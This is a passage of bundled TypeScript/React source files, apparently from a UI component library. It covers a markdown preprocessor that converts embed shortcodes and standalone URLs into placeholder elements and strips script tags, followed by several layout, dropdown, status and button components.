data-figma-url=\"${escapeAttr(url.trim())}\"></div>\\n\\n`;\n    })\n    // Claude artifact / Claude Design: {{claude-artifact:URL}} / {{claude-design:URL}}\n    // — the same shape as figma, so a Claude link is a markdown BLOCK wherever\n    // markdown renders, never a bespoke card one surface hand-assembles.\n    // `{{claude-artifact:URL}}` or `{{claude-artifact:URL|Name}}` — the optional\n    // name after the pipe is the ONLY source of a real title (claude.ai serves\n    // one og:title for every artifact), so the block carries it through.\n    .replace(/\\{\\{claude-(artifact|design):([^|}]+)(?:\\|([^}]*))?\\}\\}/g, (match, kind, url, title) => {\n      const titleAttr = title && title.trim() ? ` data-title=\"${escapeAttr(title.trim())}\"` : '';\n      return `\\n\\n<div class=\"claude-embed\" data-url=\"${escapeAttr(url.trim())}\" data-kind=\"${kind}\"${titleAttr}></div>\\n\\n`;\n    })\n    // LinkedIn embeds: {{linkedin:POST_URL}}\n    .replace(/\\{\\{linkedin:([^}]+)\\}\\}/g, (match, url) => {\n      return `\\n\\n<div class=\"linkedin-embed\" data-post-url=\"${escapeAttr(url.trim())}\"></div>\\n\\n`;\n    })\n    // Link previews: {{link:URL}}\n    .replace(/\\{\\{link:([^}]+)\\}\\}/g, (match, url) => {\n      return `\\n\\n<div class=\"link-preview\" data-url=\"${escapeAttr(url.trim())}\"></div>\\n\\n`;\n    });\n\n  // Next, auto-detect standalone URLs (but NOT those already in markdown links or code blocks)\n\n  // Step 1: Temporarily replace code blocks to protect them\n  const codeBlocks: string[] = [];\n  processedContent = processedContent.replace(/```[\\s\\S]*?```|`[^`]+`/g, (match) => {\n    const placeholder = `__CODE_BLOCK_${codeBlocks.length}__`;\n    codeBlocks.push(match);\n    return placeholder;\n  });\n\n  // Step 1.5: Strip well-formed `<script …>…</script>` elements from prose.\n  // Pasted social embed markup ships a loader script alongside its markup\n  // (Reddit: `<blockquote class=\"reddit-embed-bq\">…` + embed.reddit.com\n  // widgets.js; Twitter: platform.twitter.com widgets.js). Scripts NEVER\n  // execute on this surface — the sanitize stack strips real ones — but the\n  // engine's text pre-pass escapes the tag first, so it used to render as\n  // VISIBLE source text under every embed. Runs after Step 1 so script tags\n  // inside code fences / inline code stay literal sample code; an UNCLOSED\n  // opener is left alone (falls through to today's escape-to-text behavior,\n  // which is the safe degrade). Quantifiers are hard-bounded (ReDoS).\n  processedContent = processedContent.replace(\n    /<script\\b[^>]{0,2000}>[\\s\\S]{0,20000}?<\\/script\\s{0,10}>/gi,\n    ''\n  );\n\n  // Step 2: Temporarily replace markdown links to protect them\n  const markdownLinks: string[] = [];\n  processedContent = processedContent.replace(/\\[([^\\]]+)\\]\\(([^)]+)\\)/g, (match) => {\n    const placeholder = `__MARKDOWN_LINK_${markdownLinks.length}__`;\n    markdownLinks.push(match);\n    return placeholder;\n  });\n\n  // Step 2.5: Temporarily replace table rows to protect URLs inside tables\n  const tableRows: string[] = [];\n  processedContent = processedContent.replace(/^\\|.+\\|$/gm, (match) => {\n    const placeholder = `__TABLE_ROW_${tableRows.length}__`;\n    tableRows.push(match);\n    return placeholder;\n  });\n\n  // Step 3: Auto-detect standalone URLs and convert to appropriate embeds\n  processedContent = processedContent\n    // YouTube URLs (standalone only)\n    .replace(/(?:^|\\s)(https?:\\/\\/(?:www\\.)?(?:youtube\\.com\\/watch\\?v=|youtu\\.be\\/)([a-zA-Z0-9_-]+))(?:\\s|$)/g,\n      (match, fullUrl, videoId) => {\n        return match.replace(fullUrl, `\\n\\n<div class=\"youtube-embed\" data-video-id=\"${videoId}\"></div>\\n\\n`);\n      })\n    // Reddit URLs (standalone only)\n    .replace(/(?:^|\\s)(https?:\\/\\/(?:www\\.)?reddit\\.com\\/[^\\s]+)(?:\\s|$)/g,\n      (match, redditUrl) => {\n        return match.replace(redditUrl, `\\n\\n<div class=\"reddit-embed\" data-post-url=\"${escapeAttr(redditUrl)}\"></div>\\n\\n`);\n      })\n    // Twitter/X URLs (standalone only)\n    .replace(/(?:^|\\s)(https?:\\/\\/(?:www\\.)?(?:twitter\\.com|x\\.com)\\/[^\\/\\s]+\\/status\\/\\d+)(?:\\s|$)/g,\n      (match, tweetUrl) => {\n        return match.replace(tweetUrl, `\\n\\n<div class=\"tweet-embed\" data-tweet-url=\"${escapeAttr(tweetUrl)}\"></div>\\n\\n`);\n      })\n    // Figma URLs (standalone only) - design/file/proto/board/deck/slides → interactive embed\n    .replace(/(?:^|\\s)(https?:\\/\\/(?:www\\.|embed\\.)?figma\\.com\\/(?:design|file|proto|board|deck|slides)\\/[^\\s]+)(?:\\s|$)/g,\n      (match, figmaUrl) => {\n        return match.replace(figmaUrl, `\\n\\n<div class=\"figma-embed\" data-figma-url=\"${escapeAttr(figmaUrl)}\"></div>\\n\\n`);\n      })\n    // LinkedIn post URLs (standalone only) → native post embed\n    .replace(/(?:^|\\s)(https?:\\/\\/(?:www\\.)?linkedin\\.com\\/(?:posts|feed\\/update|embed\\/feed\\/update)\\/[^\\s]+)(?:\\s|$)/g,\n      (match, liUrl) => {\n        return match.replace(liUrl, `\\n\\n<div class=\"linkedin-embed\" data-post-url=\"${escapeAttr(liUrl)}\"></div>\\n\\n`);\n      })\n    // Other external URLs (standalone only) - convert to link previews\n    .replace(/(?:^|\\s)(https?:\\/\\/[^\\s]+)(?:\\s|$)/g,\n      (match, url) => {\n        try {\n          const urlObj = new URL(url);\n          const hostname = urlObj.hostname.toLowerCase();\n\n          // Exact host match (or a subdomain of it) — substring checks like\n          // `hostname.includes('x.com')` false-positive on \"zabbix.com\".\n          const hostIs = (domain: string) =>\n            hostname === domain || hostname.endsWith(`.${domain}`);\n          // Non-video YouTube URLs (channels, playlists, `@handle`) fall\n          // through to the og-scraper; only video URLs become inline players.\n          const isYouTubeVideo =\n            (hostIs('youtube.com') && urlObj.searchParams.has('v')) || hostIs('youtu.be');\n          // LinkedIn non-post URLs (profiles, companies) fall through to the\n          // og-scraper too; only interactive post embeds have handlers above.\n          if (isYouTubeVideo ||\n              hostIs('reddit.com') || hostIs('twitter.com') || hostIs('x.com') ||\n              hostIs('figma.com')) {\n            return match;\n          }\n\n          return match.replace(url, `\\n\\n<div class=\"link-preview\" data-url=\"${escapeAttr(url)}\"></div>\\n\\n`);\n        } catch (e) {\n          console.warn('Failed to parse URL for link preview:', url, e);\n          return match;\n        }\n      });\n\n  // Step 3.5: Restore table rows\n  tableRows.forEach((row, index) => {\n    processedContent = processedContent.replace(`__TABLE_ROW_${index}__`, row);\n  });\n\n  // Step 4: Restore markdown links\n  markdownLinks.forEach((link, index) => {\n    processedContent = processedContent.replace(`__MARKDOWN_LINK_${index}__`, link);\n  });\n\n  // Step 5: Restore code blocks (MUST be last to prevent link preview in code)\n  codeBlocks.forEach((block, index) => {\n    processedContent = processedContent.replace(`__CODE_BLOCK_${index}__`, block);\n  });\n\n  return processedContent;\n};\n","\"use client\"\n\nimport type * as React from \"react\"\nimport { cn } from \"../../utils/cn\"\n\n/**\n * StackedRowsPanel — a single bordered card that stacks rows inside it.\n *\n * Each row can be:\n * - a single full-width element (e.g. title + subtitle) — pass one column,\n * - N columns (each a value + label, possibly a tag/avatar) — pass several columns,\n * - an arbitrary node (e.g. a nested table) — pass `content`.\n *\n * Border-radius behaviour is handled entirely by the container: `rounded-md` +\n * `overflow-clip` clip the first/last rows to the rounded corners. So a single row\n * rounds all four corners, while many rows visually round only the top corners of\n * the first row and the bottom corners of the last — with no per-row corner logic.\n *\n * Cells render the ODS `value` (`text-h4`) over `label` (`text-h6`) pattern with an\n * optional leading icon, matching the app's detail layouts. Pass a node as `value`\n * (e.g. a `Tag`) to render a status chip with a caption beneath it.\n */\n\nexport type PanelColumnAlign = \"left\" | \"center\" | \"right\"\nexport type PanelHideAt = \"md\" | \"lg\" | \"xl\"\n\nexport interface PanelColumn {\n  /** Stable key for the column. */\n  key: string\n  /** Custom cell content (tag, avatar + text, button…). Takes precedence over `value`/`label`. */\n  content?: React.ReactNode\n  /** Primary value rendered in the ODS h4 style when `content` is not set. */\n  value?: React.ReactNode\n  /** Secondary label rendered under the value (ODS h6, secondary colour). */\n  label?: string\n  /** Icon shown before the value. */\n  icon?: React.ReactNode\n  /** Icon shown before the whole value/label stack, vertically centered against\n   *  both lines (the info-banner pattern: 24px glyph + title + caption). */\n  leadingIcon?: React.ReactNode\n  /** When set, the cell becomes an external link. */\n  href?: string\n  /** Tailwind width class. Defaults to `flex-[1_0_0] min-w-0`. */\n  width?: string\n  /** Horizontal alignment of the column content. Defaults to `left`. */\n  align?: PanelColumnAlign\n  /** Hide the column below this breakpoint (mirrors the DataTable `hideAt` concept). */\n  hideAt?: PanelHideAt\n}\n\nexport interface PanelRow {\n  /** Stable key for the row. */\n  id: string\n  /** One column → full-width row; several columns → a columns row. */\n  columns?: PanelColumn[]\n  /** Arbitrary content (e.g. a nested table). Takes precedence over `columns`. */\n  content?: React.ReactNode\n  /** Per-row overrides (e.g. height, or `p-0` for a nested table that should reach the edges). */\n  className?: string\n}\n\nexport interface StackedRowsPanelProps {\n  rows: PanelRow[]\n  /** Optional uppercase caption rendered above the card. */\n  title?: string\n  className?: string\n}\n\nconst ALIGN_CLASS: Record<PanelColumnAlign, string> = {\n  left: \"justify-start items-start\",\n  center: \"justify-center items-center\",\n  right: \"justify-end items-end\",\n}\n\n// Horizontal alignment for value/label cells. `left` keeps the default stretch so\n// the value/label can truncate; center/right shrink to content and align the cell.\nconst CELL_ITEMS_ALIGN: Record<PanelColumnAlign, string> = {\n  left: \"\",\n  center: \"items-center\",\n  right: \"items-end\",\n}\n\nconst HIDE_CLASS: Record<PanelHideAt, string> = {\n  md: \"hidden md:flex\",\n  lg: \"hidden lg:flex\",\n  xl: \"hidden xl:flex\",\n}\n\n// Base column-row class. Row height is content-driven via the min-heights, matching\n// the joined-row pattern used across the detail layouts (56px mobile, 80px tablet+).\nconst ROW_CLASS =\n  \"flex items-center gap-[var(--spacing-system-m)] px-[var(--spacing-system-m)] min-h-14 md:min-h-20 border-b border-ods-border last:border-b-0\"\n\nfunction CellValue({ column }: { column: PanelColumn }) {\n  const valueNode = (\n    <div\n      className=\"text-ods-text-primary text-h4 truncate\"\n      title={typeof column.value === \"string\" ? column.value : undefined}\n    >\n      {column.value}\n    </div>\n  )\n\n  return (\n    <>\n      <div className=\"flex items-center gap-[var(--spacing-system-xxs)] min-w-0\">\n        {column.icon && <span className=\"shrink-0\">{column.icon}</span>}\n        {column.href ? (\n          <a\n            href={column.href}\n            target=\"_blank\"\n            rel=\"noreferrer\"\n            className=\"min-w-0 transition-opacity hover:opacity-80\"\n          >\n            {valueNode}\n          </a>\n        ) : (\n          valueNode\n        )}\n      </div>\n      {column.label ? <p className=\"text-ods-text-secondary text-h6 truncate\">{column.label}</p> : null}\n    </>\n  )\n}\n\nfunction PanelCell({ column }: { column: PanelColumn }) {\n  const widthClass = column.width ?? \"flex-[1_0_0] min-w-0\"\n  const hideClass = column.hideAt ? HIDE_CLASS[column.hideAt] : \"flex\"\n\n  if (column.content !== undefined) {\n    return (\n      <div className={cn(hideClass, \"flex-col\", ALIGN_CLASS[column.align ?? \"left\"], widthClass)}>{column.content}</div>\n    )\n  }\n\n  if (column.leadingIcon) {\n    return (\n      <div className={cn(hideClass, \"items-center gap-[var(--spacing-system-s)]\", widthClass)}>\n        <span className=\"shrink-0\">{column.leadingIcon}</span>\n        <div className={cn(\"flex min-w-0 flex-1 flex-col justify-center\", CELL_ITEMS_ALIGN[column.align ?? \"left\"])}>\n          <CellValue column={column} />\n        </div>\n      </div>\n    )\n  }\n\n  return (\n    <div className={cn(hideClass, \"flex-col justify-center\", CELL_ITEMS_ALIGN[column.align ?? \"left\"], widthClass)}>\n      <CellValue column={column} />\n    </div>\n  )\n}\n\nfunction PanelRowView({ row }: { row: PanelRow }) {\n  // Arbitrary content (e.g. a nested table): keep it edge-to-edge unless the caller\n  // overrides via `className`. No fixed height — let the content size itself.\n  if (row.content !== undefined) {\n    return <div className={cn(\"border-b border-ods-border last:border-b-0\", row.className)}>{row.content}</div>\n  }\n\n  const columns = row.columns ?? []\n  const isFullWidth = columns.length === 1\n\n  // A single-column row is a full-width title/subtitle row: pad symmetrically\n  // (ODS `m`) instead of using a fixed column-row height.\n  const rowClass = isFullWidth\n    ? cn(\n        \"flex items-center gap-[var(--spacing-system-m)] p-[var(--spacing-system-m)] border-b border-ods-border last:border-b-0\",\n        row.className,\n      )\n    : cn(ROW_CLASS, row.className)\n\n  return (\n    <div className={rowClass}>\n      {columns.map(column => (\n        <PanelCell key={column.key} column={column} />\n      ))}\n    </div>\n  )\n}\n\nexport function StackedRowsPanel({ rows, title, className }: StackedRowsPanelProps) {\n  const card = (\n    <div className=\"flex flex-col overflow-clip rounded-md border border-ods-border bg-ods-card\">\n      {rows.map(row => (\n        <PanelRowView key={row.id} row={row} />\n      ))}\n    </div>\n  )\n\n  if (!title) {\n    return <div className={className}>{card}</div>\n  }\n\n  return (\n    <div className={cn(\"flex flex-col gap-[var(--spacing-system-xxs)]\", className)}>\n      <p className=\"text-h5 uppercase text-ods-text-secondary\">{title}</p>\n      {card}\n    </div>\n  )\n}\n","import React from 'react';\nimport { cn } from '../../utils/cn';\nimport { SlackIcon } from '../icons/slack-icon';\n\nexport interface SlackChannelChipProps {\n  /** Channel display name, no '#' prefix. Falls back to plain \"Slack\" when null. */\n  name?: string | null;\n  /** Web deep link to the channel (e.g. https://app.slack.com/client/T…/C…). Renders unlinked when null. */\n  href?: string | null;\n  /** Extra classes merged onto the chip span. */\n  className?: string;\n}\n\n/**\n * Inline Slack-channel reference: the Slack icon + \"#name\", optionally linked\n * to the channel's web deep link. Server-component safe (no hooks/state).\n * Degrades gracefully: no name renders plain \"Slack\", no href renders unlinked.\n */\nexport function SlackChannelChip({ name, href, className }: SlackChannelChipProps) {\n  const inner = (\n    <span className={cn('inline-flex items-center gap-1 align-baseline text-ods-text-primary', className)}>\n      <SlackIcon className=\"h-4 w-4 flex-shrink-0\" />\n      {name ? `#${name}` : 'Slack'}\n    </span>\n  );\n  if (!href) return inner;\n  return (\n    <a href={href} target=\"_blank\" rel=\"noopener noreferrer\" className=\"hover:underline\">\n      {inner}\n    </a>\n  );\n}\n","\"use client\"\n\ninterface StatusIndicatorProps {\n  status: 'success' | 'pending' | 'error' | 'missing';\n  label: string;\n  href?: string;\n}\n\nexport function StatusIndicator({ status, label, href }: StatusIndicatorProps) {\n  const getStatusColor = (status: string) => {\n    switch (status) {\n      case 'success':\n        return 'bg-ods-success text-ods-success';\n      case 'pending':\n        return 'bg-ods-warning text-ods-warning';\n      case 'error':\n        return 'bg-ods-error text-ods-error';\n      case 'missing':\n        return 'bg-ods-warning text-ods-warning';\n      default:\n        return 'bg-ods-text-muted text-ods-text-muted';\n    }\n  };\n\n  const colorClasses = getStatusColor(status);\n  const [dotColor, textColor] = colorClasses.split(' ');\n\n  const content = (\n    <div className=\"flex items-center gap-1.5\">\n      <div className={`h-3 w-3 rounded-full ${dotColor}`} />\n      <span className={`text-h6 ${textColor}`}>\n        {label}\n      </span>\n    </div>\n  );\n\n  if (href) {\n    return (\n      <a\n        href={href}\n        target=\"_blank\"\n        rel=\"noopener noreferrer\"\n        className=\"hover:underline cursor-pointer\"\n      >\n        {content}\n      </a>\n    );\n  }\n\n  return content;\n}","'use client'\n\nimport React, { useState, useRef, useCallback } from 'react'\n\n// =============================================================================\n// Types\n// =============================================================================\n\nexport interface HoverDropdownItem {\n  label: string\n  icon?: React.ReactNode\n  href?: string\n  /**\n   * Target platform for the row's link — threaded through to the caller's\n   * `renderAnchor` slot, which decides how to route (same tab vs new tab,\n   * embed-aware open, etc.). Plain UI dropdown — no internal click rule.\n   */\n  targetPlatform?: string | null\n  /**\n   * In-app doc-tree path for `markdown` / `data_room_doc` refs. Threaded\n   * through to the caller's `renderAnchor` so chat consumers can wire it\n   * into `handleChatNavClick` and trigger an in-page doc-tree swap\n   * (parity with source chips and inline cards).\n   */\n  path?: string | null\n  /**\n   * @deprecated Pass `targetPlatform` to the consumer's `renderAnchor` and\n   * let it decide. Kept on the item shape for caller-side decisions but\n   * unused by this component.\n   */\n  alwaysNewTab?: boolean\n  onClick?: () => void\n  /** Optional secondary action rendered as a small icon-button at the\n   *  right edge of the row. Independent of the row's primary click target\n   *  — clicking the secondary button does NOT navigate. */\n  secondaryAction?: {\n    icon: React.ReactNode\n    label: string\n    onClick: () => void\n  }\n}\n\nexport interface HoverDropdownRenderAnchorArgs {\n  href: string\n  targetPlatform?: string | null\n  /** In-app doc-tree path — chat consumers forward to `handleChatNavClick`\n   *  for doc-tree swap parity with chips + inline cards. */\n  path?: string | null\n  alwaysNewTab?: boolean\n  className: string\n  children: React.ReactNode\n}\n\ninterface HoverDropdownProps {\n  /** The trigger element — dropdown appears on hover */\n  children: React.ReactNode\n  /** Items to show in the dropdown */\n  items: HoverDropdownItem[]\n  /** Dropdown position relative to trigger (default: 'top') */\n  side?: 'top' | 'bottom'\n  /** Delay in ms before hiding on mouse leave (default: 200) */\n  hideDelay?: number\n  /** Additional className for the dropdown container */\n  className?: string\n  /**\n   * Optional anchor renderer for rows that have an `href`. Chat consumers\n   * supply a `<NavLinkAnchorViaRuntime>`-backed renderer so clicks route\n   * through the chat runtime; non-chat consumers can skip this and rely\n   * on the default plain `<a>`.\n   */\n  renderAnchor?: (args: HoverDropdownRenderAnchorArgs) => React.ReactNode\n}\n\n// =============================================================================\n// Component\n// =============================================================================\n\n/**\n * Generic hover dropdown — shows a list of clickable items on hover.\n *\n * Uses fixed positioning with getBoundingClientRect for proper placement\n * inside containers with overflow hidden (e.g., Sheet, modals).\n *\n * Usage:\n *   <HoverDropdown items={[{ label: 'Blog Post', href: '/blog/1' }]}>\n *     <span>Blog Posts (5)</span>\n *   </HoverDropdown>\n */\nfunction DefaultAnchor({\n  href,\n  className,\n  children,\n}: HoverDropdownRenderAnchorArgs) {\n  return (\n    <a href={href} className={className}>\n      {children}\n    </a>\n  )\n}\n\nexport function HoverDropdown({\n  children,\n  items,\n  side = 'top',\n  hideDelay = 200,\n  className,\n  renderAnchor,\n}: HoverDropdownProps) {\n  const [open, setOpen] = useState(false)\n  const timeoutRef = useRef<ReturnType<typeof setTimeout>>(undefined)\n  const containerRef = useRef<HTMLDivElement>(null)\n\n  const show = useCallback(() => {\n    clearTimeout(timeoutRef.current)\n    setOpen(true)\n  }, [])\n\n  const hide = useCallback(() => {\n    timeoutRef.current = setTimeout(() => setOpen(false), hideDelay)\n  }, [hideDelay])\n\n  if (items.length === 0) return <>{children}</>\n\n  // Click handler — touch / mobile (no hover) + desktop users who\n  // expect clicking a chip to open a menu. Toggles the dropdown state\n  // so a second click closes it. `stopPropagation` prevents the click\n  // from bubbling to ancestor handlers (the chip's parent message\n  // bubble shouldn't react to chip clicks).\n  const toggle = useCallback((e: React.MouseEvent) => {\n    e.stopPropagation()\n    clearTimeout(timeoutRef.current)\n    setOpen((prev) => !prev)\n  }, [])\n\n  const renderAnchorFn = renderAnchor ?? DefaultAnchor\n\n  return (\n    <div\n      ref={containerRef}\n      className=\"relative inline-flex\"\n      onMouseEnter={show}\n      onMouseLeave={hide}\n      onClick={toggle}\n    >\n      {children}\n      {open && (\n        <div\n          className={`fixed z-[9999] min-w-[220px] max-w-[340px] max-h-[420px] overflow-y-auto rounded-lg bg-ods-card border border-ods-border shadow-xl p-1 ${className || ''}`}\n          ref={(el) => {\n            if (!el || !containerRef.current) return\n            const rect = containerRef.current.getBoundingClientRect()\n            const elHeight = el.offsetHeight\n            const elWidth = el.offsetWidth\n\n            // Try to place to the right of the trigger first\n            const spaceRight = window.innerWidth - rect.right\n            const spaceLeft = rect.left\n            const fitsRight = spaceRight >= elWidth + 8\n            const fitsLeft = spaceLeft >= elWidth + 8\n\n            if (fitsRight || (!fitsLeft && spaceRight >= spaceLeft)) {\n              // Place to the right\n              el.style.left = `${rect.right + 4}px`\n              el.style.top = `${Math.min(Math.max(rect.top, 8), window.innerHeight - elHeight - 8)}px`\n            } else if (fitsLeft) {\n              // Place to the left\n              el.style.left = `${rect.left - elWidth - 4}px`\n              el.style.top = `${Math.min(Math.max(rect.top, 8), window.innerHeight - elHeight - 8)}px`\n            } else {\n              // Fallback: place above or below\n              const left = Math.min(Math.max(rect.left, 8), window.innerWidth - elWidth - 8)\n              el.style.left = `${left}px`\n              if (side === 'top' || window.innerHeight - rect.bottom < elHeight + 8) {\n                el.style.top = `${Math.max(rect.top - elHeight - 4, 8)}px`\n              } else {\n                el.style.top = `${rect.bottom + 4}px`\n              }\n            }\n          }}\n        >\n          {items.map((item, i) => {\n            const content = (\n              <>\n                {item.icon && <span className=\"flex-shrink-0 [&_svg]:size-3.5\">{item.icon}</span>}\n                <span className=\"truncate flex-1 min-w-0\">{item.label}</span>\n              </>\n            )\n\n            // Each row is a flex container: primary action (link or button)\n            // occupies the left expanding region; the optional secondary\n            // action (\"Ask\") sits at the right as a sibling icon-button so\n            // its click is independent of the primary navigation.\n            const rowClass = 'group flex w-full items-center gap-1.5 pl-2 pr-1 py-1.5 rounded text-h6 text-ods-text-secondary hover:bg-ods-accent/10 transition-colors text-left'\n            const primaryClass = 'flex flex-1 items-center gap-1.5 min-w-0 hover:text-ods-accent cursor-pointer no-underline'\n\n            const secondary = item.secondaryAction ? (\n              <button\n                onClick={(e) => {\n                  e.preventDefault()\n                  e.stopPropagation()\n                  item.secondaryAction!.onClick()\n                }}\n                aria-label={item.secondaryAction.label}\n                title={item.secondaryAction.label}\n                className=\"flex-shrink-0 inline-flex items-center justify-center h-5 w-5 rounded text-ods-text-secondary opacity-60 hover:opacity-100 hover:text-ods-text-primary hover:bg-ods-accent/15 transition-opacity [&_svg]:size-3\"\n              >\n                {item.secondaryAction.icon}\n              </button>\n            ) : null\n\n            if (item.href) {\n              // Caller supplies the anchor renderer (defaults to plain <a>).\n              // Chat consumers wire `NavLinkAnchorViaRuntime` here so clicks\n              // route through the chat runtime.\n              return (\n                <div key={i} className={rowClass}>\n                  {renderAnchorFn({\n                    href: item.href,\n                    targetPlatform: item.targetPlatform,\n                    path: item.path,\n                    alwaysNewTab: item.alwaysNewTab,\n                    className: primaryClass,\n                    children: content,\n                  })}\n                  {secondary}\n                </div>\n              )\n            }\n\n            // Item has no primary action — render the label as a\n            // non-interactive span. The secondary Ask button remains\n            // active, so the row is still useful for rows that have no\n            // public viewer URL but DO have a working Ask drill-in.\n            if (!item.onClick) {\n              return (\n                <div key={i} className={rowClass}>\n                  <span className={`${primaryClass} cursor-default hover:!text-ods-text-secondary`}>\n                    {content}\n                  </span>\n                  {secondary}\n                </div>\n              )\n            }\n\n            return (\n              <div key={i} className={rowClass}>\n                <button onClick={item.onClick} className={primaryClass}>\n                  {content}\n                </button>\n                {secondary}\n              </div>\n            )\n          })}\n        </div>\n      )}\n    </div>\n  )\n}\n","'use client'\n\nimport React from 'react'\nimport { cn } from '../../utils/cn'\nimport { Chevron02LeftIcon } from '../icons-v2-generated/arrows/chevron-02-left-icon'\n\nexport interface BackButtonProps\n  extends Omit<React.ButtonHTMLAttributes<HTMLButtonElement>, 'children'> {\n  label?: string\n  onClick?: React.MouseEventHandler<HTMLButtonElement>\n}\n\nexport function BackButton({ label = 'Back', className, type = 'button', ...props }: BackButtonProps) {\n  return (\n    <button\n      type={type}\n      className={cn(\n        'group inline-flex items-center justify-center self-start rounded-md',\n        'gap-[var(--spacing-system-xsf)] py-[var(--spacing-system-sf)]',\n        'text-ods-text-secondary hover:text-ods-text-primary',\n        'transition-colors duration-200',\n        'focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ods-focus',\n        className,\n      )}\n      {...props}\n    >\n      <Chevron02LeftIcon className=\"size-6 shrink-0\" />\n      <span className=\"text-h4\">{label}</span>\n    </button>\n  )\n}\n\nexport default BackButton\n","'use client'\n\nimport React, { useEffect, useState } from 'react'\nimport { cn } from '../../utils/cn'\nimport { useDebounce } from '../../hooks/ui/use-debounce'\nimport { Filter02Icon, SearchIcon } from '../icons-v2-generated'\nimport { Button, Input, PageError } from '../ui'\nimport { FilterModal, type FilterGroup, type SortConfig, type SortDirection } from '../ui/filter-modal'\nimport type { TableFilters } from '../ui/table/types'\nimport { ListPageContainer, type PageActionButton } from './page-container'\n\nexport interface ListPageLayoutProps {\n  title: string\n  headerActions?: React.ReactNode\n  actions?: PageActionButton[]\n  searchPlaceholder: string\n  searchValue: string\n  onSearch: (term: string) => void\n  children: React.ReactNode\n  error?: string | null\n  className?: string\n  padding?: 'none' | 'sm' | 'md' | 'lg'\n  background?: 'default' | 'card' | 'transparent'\n  mobileFilterGroups?: FilterGroup[]\n  onMobileFilterChange?: (filters: TableFilters) => void\n  currentMobileFilters?: TableFilters\n  mobileSortConfig?: SortConfig\n  onMobileSort?: (column: string, direction: SortDirection) => void\n  mobileFilterTitle?: string\n  stickyHeader?: boolean\n}\n\n/**\n * @deprecated Use `PageLayout` from `'../layout/page-layout'` instead.\n *\n * Standardized Layout for List Pages\n *\n * A comprehensive layout component that provides 100% consistent structure\n * for all list-based pages throughout the OpenFrame application.\n *\n * ## Layout Structure:\n * ```\n * ┌─────────────────────────────────────────────────────────────┐\n * │ Title (left aligned)    │    Header Actions (right aligned) │\n * ├─────────────────────────────────────────────────────────────┤\n * │                 Search Bar (full width)                    │\n * ├─────────────────────────────────────────────────────────────┤\n * │                Table/Grid with Filters                     │\n * │                    (main content)                          │\n * └─────────────────────────────────────────────────────────────┘\n * ```\n *\n * ## Key Features:\n * - **Consistent Spacing**: All pages use identical padding and gaps\n * - **Responsive Design**: Works seamlessly across all screen sizes\n * - **Accessibility**: Proper semantic HTML and ARIA support\n * - **Error Handling**: Built-in error state display\n * - **Flexible Actions**: Supports any combination of buttons/controls\n * - **Search Integration**: Standardized search bar positioning\n *\n * ## Currently Used By:\n * - `/devices` - Device management with table/grid toggle\n * - `/logs-page` - Log analysis with refresh functionality\n * - `/scripts` - Script management with new/refresh actions\n * - `/mingo` tabs - Archive/current chats with filtering\n * - `/policies-and-queries` tabs - Policy management with refresh/new actions\n *\n * ## Design Tokens:\n * - Uses ODS design system tokens for consistent theming\n * - Maintains proper contrast ratios and accessibility standards\n * - Supports both light and dark mode themes\n *\n * ## Performance:\n * - Minimal re-renders through proper prop drilling\n * - Optimized for large datasets with virtualization support\n * - Built-in debouncing for search operations\n *\n * @example\n * ```tsx\n * <ListPageLayout\n *   title=\"My Data\"\n *   headerActions={<Button>Refresh</Button>}\n *   searchPlaceholder=\"Search items...\"\n *   searchValue={searchTerm}\n *   onSearch={setSearchTerm}\n *   error={error}\n * >\n *   <Table data={items} columns={columns} />\n * </ListPageLayout>\n * ```\n */\nexport function ListPageLayout({\n  title,\n  headerActions,\n  actions,\n  searchPlaceholder,\n  searchValue,\n  onSearch,\n  children,\n  error,\n  className,\n  padding = 'sm',\n  background = 'default',\n  mobileFilterGroups,\n  onMobileFilterChange,\n  currentMobileFilters,\n  mobileSortConfig,\n  onMobileSort,\n  mobileFilterTitle,\n  stickyHeader = false,\n}: ListPageLayoutProps) {\n  const [mobileFilterOpen, setMobileFilterOpen] = useState(false)\n  const [localSearchValue, setLocalSearchValue] = useState(searchValue)\n  const debouncedSearchValue = useDebounce(localSearchValue, 500)\n\n  // Sync local value when controlled value changes externally\n  useEffect(() => {\n    setLocalSearchValue(searchValue)\n  }, [searchValue])\n\n  // Call onSearch when debounced value changes\n  useEffect(() => {\n    if (debouncedSearchValue !== searchValue) {\n      onSearch(debouncedSearchValue)\n    }\n  }, [debouncedSearchValue, onSearch, searchValue])\n\n  // Check if mobile filter is enabled (has filter groups or sort config)\n  const hasMobileFilter = (mobileFilterGroups && mobileFilterGroups.length > 0) ||\n    (mobileSortConfig && mobileSortConfig.columns.length > 0)\n\n  if (error) {\n    return <PageError message={error} />\n  }\n\n  return (\n    <ListPageContainer\n      title={title}\n      headerActions={headerActions}\n      actions={actions}\n      padding={padding}\n      background={background}\n      className={className}\n    >\n      <div>\n        {/* Search Bar with Mobile Filter Button */}\n        <div className={cn(\n          'flex gap-4 items-center',\n          !stickyHeader && 'w-full',\n          stickyHeader && 'sticky top-0 z-20 flex gap-[var(--spacing-system-m)] items-center bg-ods-bg -mx-[var(--spacing-system-l)] p-[var(--spacing-system-l)] -mt-[var(--spacing-system-l)]'\n        )}>\n          <Input\n            placeholder={searchPlaceholder}\n            onChange={(e) => setLocalSearchValue(e.target.value)}\n            value={localSearchValue}\n            className=\"flex-1\"\n            startAdornment={<SearchIcon className=\"w-4 h-4 md:w-6 md:h-6\" />}\n          />\n\n          {/* Mobile Filter Button - only visible on mobile when filter is enabled */}\n          {hasMobileFilter && (\n            <Button\n              variant=\"outline\"\n              size=\"icon\"\n              className=\"md:hidden\"\n              onClick={() => setMobileFilterOpen(true)}\n              aria-label=\"Open filters\"\n            >\n              <Filter02Icon />\n            </Button>\n          )}\n        </div>\n\n        {/* Mobile Filter Modal */}\n        {hasMobileFilter && (\n          <FilterModal\n            isOpen={mobileFilterOpen}\n            onClose={() => setMobileFilterOpen(false)}\n            title={mobileFilterTitle}\n            filterGroups={mobileFilterGroups || []}\n            onFilterChange={onMobileFilterChange || (() => {})}\n            currentFilters={currentMobileFilters || {}}\n            sortConfig={mobileSortConfig}\n            onSort={onMobileSort}\n          />\n        )}\n\n        {/* Main Content - Table/Grid with filters */}\n        {children}\n      </div>\n    </ListPageContainer>\n  )\n}\n\n// Re-export PageActionButton type for convenience\nexport type { PageActionButton } from './page-container'\n\n/** @deprecated Use `PageLayout` from `'../layout/page-layout'` instead. */\nexport default ListPageLayout","'use client'\n\nimport { useEffect, useState } from 'react'\n\nimport { cn } from '../../utils/cn'\nimport { Filter02Icon } from '../icons-v2-generated/sort-and-filter/filter-02-icon'\nimport { Button } 